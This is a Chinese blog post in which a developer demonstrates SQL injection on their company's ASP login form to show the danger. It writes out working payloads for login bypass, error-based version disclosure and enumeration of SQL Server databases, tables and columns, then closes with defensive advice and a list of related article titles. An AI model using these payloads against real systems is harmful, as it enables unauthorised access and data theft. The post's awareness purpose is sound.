前阵子发现公司的网站有SQL注入漏洞,向项目经理提了以后,得到的答复异常的冷淡:“早就知道,这种asp的网站肯定有漏洞,要是Asp.net的网站就没问题”,先暂不评价此说法对错,如此冷淡的反应只能说明了对SQL注入的无知,今天就实况转播,来告诉大家SQL注入究竟有多大的危害。

初步注入--绕过验证,直接登录

公司网站登陆框如下:

可以看到除了账号密码之外,还有一个公司名的输入框,根据输入框的形式不难推出SQL的写法如下:

SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'

我发现前两者都做一些检查,而第三个输入框却疏忽了,漏洞就在这里!注入开始,在输入框中输入以下内容:

用户名乱填,密码留空,这种情况下点击登录按钮后竟然成功登录了。我们看一下最终的SQL就会找到原因:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'

从代码可以看出,前一半单引号被闭合,后一半单引号被 “--”给注释掉,中间多了一个永远成立的条件“1=1”,这就造成任何字符都能成功登录的结果。而Sql注入的危害却不仅仅是匿名登录。

中级注入--借助异常获取信息。

现在我们在第三个输入框中写入:“‘ or 1=(SELECT @@version) –”。如下:

后台的SQL变成了这样:

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--'

判断条件变成了 1=(SELECT @@VERSION),这个写法肯定会导致错误,但出错正是我们想要的。点击登录后,页面出现以下信息:

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.

可怕的事情出现了,服务器的操作系统和SQL Server版本信息竟然通过错误显示出来。

危害扩大--获取服务器所有的库名、表名、字段名

接着,我们在输入框中输入如下信息:“t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--”,此时发现第三个输入框有字数长度的限制,然而这种客户端的限制形同虚设,直接通过Google浏览器就能去除。

点击登录,返回的信息如下:

Conversion failed when converting the nvarchar value 'master' to data type int.

数据库名称“master”通过异常被显示出来!依次改变上面SQL语句中的序号,就能得到服务器上所有数据库的名称。

接着,输入信息如下:“b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--”

得到返回信息如下:

Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.

我们得到了master数据库中的第一张表名:“spt_fallback_db”,同上,依次改变序号,可得到该库全部表名。

现在我们以“spt_fallback_db”表为例,尝试获取该表中所有的字段名。在输入框中输入以下代码:“b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='spt_fallback_db');”

于是,得到错误提示如下:

"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";

这样第一个字段名“xserver_name”就出来了,依次改变序号,就能遍历出所有的字段名。

最终目的--获取数据库中的数据

写到这里,我们已知通过SQL注入能获取全部的数据库,表,及其字段,为了防止本文完全沦为注入教程,获取数据的代码就不再描述,而这篇文章的目的也已达到,SQL注入意味着什么?意味着数据库中所有数据都能被盗取

当知道这个危害以后,是否还能有人对SQL注入漏洞置之不理?

结语

关于安全性,本文可总结出一下几点:

  1. 对用户输入的内容要时刻保持警惕。
  2. 只有客户端的验证等于没有验证。
  3. 永远不要把服务器错误信息暴露给用户。

除此之外,我还要补充几点:

  1. SQL注入不仅能通过输入框,还能通过Url达到目的。
  2. 除了服务器错误页面,还有其他办法获取到数据库信息。
  3. 可通过软件模拟注入行为,这种方式盗取信息的速度要比你想象中快的多。
  4. 漏洞跟语言平台无关,并非asp才有注入漏洞而asp.net就没有注入漏洞,一切要看设计者是否用心。

SQL语句注入的全过程相关推荐

  1. hibernate防止sql语句注入

    如果在查询字段中输入单引号"'",则会报错,这是因为输入的单引号和其他的sql组合在一起编程了一个新的sql,实际上这就是SQL注入漏洞,后来我在前台和后台都对输入的字符进行了判断 ...

  2. 18.sql server横向切分、纵向拆分表、相对平均分配数据、复杂sql语句、数据库存储原理(by-朝夕)

    Database 数据库分库分表 1.横向切分 分库分表案例 需要定义规则来选择表 查询: 规则: 2.纵向拆分表 3.相对平均分配数据 复杂Sql语句 一条Sql语句执行的全过程: 你们觉得数据库是 ...

  3. 利用SQL语句在SQLite数据库中实现命令执行

    SQLite是世界上使用最多的数据库之一.然而,关于其安全方面的研究,都只涉及WebSQL和浏览器开发方面.我们相信这只是SQLite安全的冰山一角. 在对SQLite安全性的长期研究中,我们尝试在任 ...

  4. groovy怎样从sql语句中截取表名_sql注入mysql篇

    SQL注入 __0x01 ♛Sql注入原理 Sql注入顾名思义是没有对用户输入的参数进行过滤导致测试者可以将一段非正常语句插入到查询语句中,由web应用带入到数据库中执行,从而读取数据库中的数据. _ ...

  5. JDBC连接mysql、创建表、操作数据、PreparedStatement防注入、sql语句返回值类型知识汇总

    JDBC连接过程: import java.sql.*;/*** Description:* Created by CWG on 2020/10/29 21:05*/ public class Con ...

  6. preparedstatement打印sql语句_Mybatis是这样防止sql注入的

    链接:https://juejin.im/post/5e131203e51d4541082c7db3 Mybatis这个框架在日常开发中用的很多,比如面试中经常有一个问题:$和#的区别,它们的区别是使 ...

  7. java中sql语句怎么把开始和结束时间作为参数写sql查询_聊一聊MyBatis 和 SQL 注入间的恩恩怨怨

    整理了一些Java方面的架构.面试资料(微服务.集群.分布式.中间件等),有需要的小伙伴可以关注公众号[程序员内点事],无套路自行领取 引言 MyBatis 是一种持久层框架,介于 JDBC 和 Hi ...

  8. 更新sql语句 sql注入_SQL更新语句– SQL中的更新查询

    更新sql语句 sql注入 SQL Update Statement or Update Query in SQL is used to modify the column data in table ...

  9. supersqli(SQL注入流程及常用SQL语句)

    目录 一.SQL注入知识学习 1.判断注入类型 (1)数字型注入判断 (2)字符型注入判断 2.猜解sql查询语句中的字段数(order by 的使用) 3.判断显示位爆数据库的名字 4.注释(--+ ...

最新文章

  1. 《编写高质量代码:改善c程序代码的125个建议》——建议19:避免使用嵌套的“?:”...
  2. 【Linux】一步一步学Linux——as命令(260)
  3. linux 运行pfx文件,Linux下pfx证书导出key和crt
  4. equalsignorecase用法
  5. linux ss命令详解
  6. WPF 使用自定义的TTF字体
  7. 计算机公共基础课网络教学平台,“计算机基础”教学中网络教学平台应用研究.doc...
  8. 【C语言】malloc,free(),strerror函数
  9. PYTHON 用几何布朗运动模型和蒙特卡罗MONTE CARLO随机过程模拟股票价格可视化分析耐克NKE股价时间序列数据...
  10. c语言解除键盘锁定,解除键盘锁定,详细教您笔记本解除键盘锁定
  11. 怎么把半角引号替换成全角_巧妙批量互换全角与半角双引号
  12. jquery点击图片放大,再点缩小(转)
  13. 瓷砖铺贴方法_地砖铺贴方法 地砖铺贴流程
  14. SLM328美格4G模组SDK开发笔记
  15. 选择与循环结构案例分享(5-1)
  16. 抖音评论怎么发图片?短短1分钟,轻松学会
  17. FX1N底层源码,PLSR源码,支持4路脉冲输出 总体功能和指令可能支持在RUN中下载程序,支持注释的写入和读取
  18. Mindfusion.Charts and Gauges for Java
  19. 预测西雅图降雨情况(逻辑回归实现)
  20. 一些关于蛋白质序列分类的总结

热门文章

  1. python 字符串的输入和输出
  2. 如何防御DDOS等流量攻击
  3. java中getTime()
  4. 对国内游戏产业的无力吐槽
  5. Linux 磁盘配额与VDO技术
  6. C++的STL中accumulate函数用法
  7. 实例掌握Hadoop MapReduce
  8. 我们祝你虎虎生威! 百条春节短信奉送
  9. 微软工业计算机主机怎么样,微软Surface Pro 4到底值不值得买?
  10. Phobos Runtime Library